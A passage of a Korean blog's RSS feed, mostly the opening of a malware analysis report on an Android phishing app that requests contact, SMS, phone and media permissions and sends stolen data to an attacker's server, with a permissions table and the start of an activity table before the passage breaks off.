&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Review/  Book</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/269</guid>
      <comments>https://gomguk.tistory.com/269#entry269comment</comments>
      <pubDate>Fri, 15 Nov 2024 01:48:46 +0900</pubDate>
    </item>
    <item>
      <title>[악성앱 분석 보고서] 안드로이드 피싱앱 행위 분석</title>
      <link>https://gomguk.tistory.com/266</link>
      <description>&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;1. 개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디지털 환경이 발전할수록, 악성 앱과 피싱 앱은 그 기법을 점차 고도화하며 사용자들을 노리고 있 다. 특히 스마트폰 사용이 일상화된 지금, 안드로이드 기기를 표적으로 한 악성 앱들이 빠르게 증가하고 있다. 이 포스팅에서는 이러한 악성 앱들이 어떻게 작동하며, 어떤 방식으로 사용자에게 위협을 가하는지 실제 사례와 함께 분석한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글을 통해 일상에서 자주 접할 수 있는 악성 앱의 흔적을 알아차리는 방법과, 안전하게 모바일 기기를 사용하는 팁을 제공하여 사용자의 정보 보안 의식을 높이는 데 도움을 주고자 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;DISCLAIMER&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;이 분석은 특정 시점에서 관찰된 악성 행위에 대해 서술하고 있으며, 해당 앱의 전체 기능이나 미래에 발생할 수 있는 모든 변동 사항을 다루지 않습니다. 따라서 이후에 앱이 업데이트되어 새로운 악성 행위가 추가되거나, 다른 유사한 앱에서 유사한 악성 행위가 발견될 수 있습니다. 이 포스팅은 참고 자료로서 제공되는 것이며, 특정 앱의 악성 여부를 완전히 보증하거나 모든 가능성을 포괄하지 않음을 알려드립니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;2. 분석앱&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 분석의 주요 대상은 'OO톡' 앱으로 안드로이드 플랫폼에서 작동하는 스피어피싱을 목적으로 한 피싱 앱이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;3. 분석방법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악성행위를 위주로 분석하며, 두 가지 방법론을 이용하여 분석하였다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;640&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #f2f2f2; text-align: center;&quot; width=&quot;177&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #1f4889;&quot;&gt;단계&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2f2f2; text-align: center;&quot; width=&quot;462&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #1f4889;&quot;&gt;내용&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;177&quot;&gt;&lt;span&gt;&lt;span&gt;정적분석&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;462&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;앱 디컴파일 및 코드레벨에서의 위험요소 식별&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;앱의 코드&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;구조&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;권한&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;액티비티 등 기능 식별&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;177&quot;&gt;&lt;span&gt;&lt;span&gt;동적분석&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;462&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;실제 기기 및 에뮬레이터에서 앱 실행&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;고객 요구사항 및 진단 제약사항 파악&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;4. 분석 요약&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;대상&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;앱은&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용자의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;개인정보를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;무단으로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;수집하고&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;이를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;악의적&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;목적으로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;활용하는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;다양한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;행위를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;수행한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;&lt;b&gt;연락처 접근, 문자 목록 접근, 저장된 미디어 파일 접근&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;등&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;안드로이드&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;위험&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;권한을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;요청하고&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용자의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;문자&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;송수신&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;목록&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;및&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;민감한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;데이터를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;탈취하며&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;공격자가&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;차&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;공격에&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;활용할&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;있는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;다양한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;정보를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;공격자의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;서버로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;전송한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;329&quot; data-origin-height=&quot;334&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oPvCu/btsKuTPf1Mz/snm2ijvCKgnd4ZvBgSxSZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oPvCu/btsKuTPf1Mz/snm2ijvCKgnd4ZvBgSxSZK/img.png&quot; data-alt=&quot;악성 행위 개요도&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oPvCu/btsKuTPf1Mz/snm2ijvCKgnd4ZvBgSxSZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoPvCu%2FbtsKuTPf1Mz%2Fsnm2ijvCKgnd4ZvBgSxSZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;451&quot; height=&quot;458&quot; data-origin-width=&quot;329&quot; data-origin-height=&quot;334&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;악성 행위 개요도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;5. 분석 상세&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000;&quot; data-ke-size=&quot;size23&quot;&gt;5.1 정적 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000;&quot; data-ke-size=&quot;size20&quot;&gt;5.1.1. 권한(Permission)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;앱이&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;요청하는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;권한은&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;단말에서&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;수행하는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;행위의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;범위를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;나타낸다&lt;/span&gt;&lt;span&gt;. &amp;lsquo;&lt;/span&gt;&lt;span&gt;위험&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;권한&lt;/span&gt;&lt;span&gt;&amp;rsquo;&lt;/span&gt;&lt;span&gt;의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;요청은&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용자의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;개인&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;정보의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;접근이나&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;단말&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;시스템의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;주요&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;기능과&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;연관되어&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;있어&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;악용될&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;경우&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용자의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;보안에&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;위협이&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;될&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;있다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;권한의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;선언만으로는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;앱의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;악성&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;행위&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;여부를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;판단하기&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;어렵지만&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;앱의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;전반적인&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;행위와&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;결합하여&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;평가할&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;있는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;지표이다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;대상&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;앱에서&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;선언하는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;권한과&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;설명은&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;다음과&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;같다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 176px;&quot; border=&quot;1&quot; width=&quot;657&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;background-color: #f2f2f2; text-align: center; height: 20px; width: 45%;&quot; width=&quot;244&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #1f4889;&quot;&gt;권한 선언&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2f2f2; text-align: center; height: 20px; width: 38.0232%;&quot; width=&quot;293&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #1f4889;&quot;&gt;설명&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2f2f2; text-align: center; height: 20px; width: 16.8605%;&quot; width=&quot;121&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #1f4889;&quot;&gt;위험 권한 여부&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 45%;&quot; width=&quot;244&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.INTERNET&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 38.0232%;&quot; width=&quot;293&quot;&gt;&lt;span&gt;&lt;span&gt;인터넷 연결&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 16.8605%;&quot; width=&quot;121&quot;&gt;&lt;span&gt;&lt;span&gt;일반&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 45%;&quot; width=&quot;244&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_CONTACTS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 38.0232%;&quot; width=&quot;293&quot;&gt;&lt;span&gt;&lt;span&gt;연락처 정보 읽기&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 16.8605%;&quot; width=&quot;121&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;위험&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 45%;&quot; width=&quot;244&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_MEDIA_IMAGES&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 38.0232%;&quot; width=&quot;293&quot;&gt;&lt;span&gt;&lt;span&gt;저장된 이미지 읽기&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 16.8605%;&quot; width=&quot;121&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;위험&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 36px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 36px; width: 45%;&quot; width=&quot;244&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_PHONE_NUMBERS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 36px; width: 38.0232%;&quot; width=&quot;293&quot;&gt;&lt;span&gt;&lt;span&gt;단말 휴대전화번호 수집&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 36px; width: 16.8605%;&quot; width=&quot;121&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;위험&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 45%;&quot; width=&quot;244&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_PHONE_STATE&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 38.0232%;&quot; width=&quot;293&quot;&gt;&lt;span&gt;&lt;span&gt;단말 상태 수집&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 16.8605%;&quot; width=&quot;121&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;위험&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 45%;&quot; width=&quot;244&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.READ_SMS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 38.0232%;&quot; width=&quot;293&quot;&gt;&lt;span&gt;&lt;span&gt;문자&lt;span&gt;(SMS)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;수신 목록 열람&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 16.8605%;&quot; width=&quot;121&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;위험&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 45%;&quot; width=&quot;244&quot;&gt;&lt;span&gt;&lt;span&gt;android.permission.RECEIVE_SMS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 38.0232%;&quot; width=&quot;293&quot;&gt;&lt;span&gt;&lt;span&gt;문자&lt;span&gt;(SMS)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;수신&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 20px; width: 16.8605%;&quot; width=&quot;121&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;위험&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;5.1.2. 액티비티(Activity)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;액티비티는 안드로이드 앱의 화면 구성 단위로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사용자와 상호작용을 위한 인터페이스를 제공한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;액티비티 분석은 앱의 기능적 구성요소와 사용자 인터페이스 설계를 파악할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;예를 들어&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱 내의 로그인 화면&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;메인 메뉴&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;설정 화면 등은 각각 별도의 액티비티로 구현된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;악성 앱의 경우&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;액티비티를 통해 사용자를 속이기 위한 화면을 제공하고 숨겨진 기능을 통해 악성 행위를 수행할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;대상 앱에 선언된 액티비티는 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;657&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #f2f2f2; text-align: center;&quot; width=&quot;253&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #1f4889;&quot;&gt;액티비티 선언&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2f2f2; text-align: center;&quot; width=&quot;286&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #1f4889;&quot;&gt;구현 기능&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2f2f2; text-align: center;&quot; width=&quot;118&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #1f4889;&quot;&gt;비고&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;253&quot;&gt;&lt;span&gt;&lt;span&gt;bfaefadc.jcedeaed.bhcfhaie.loading&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;286&quot;&gt;&lt;span&gt;&lt;span&gt;앱 로딩&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;118&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
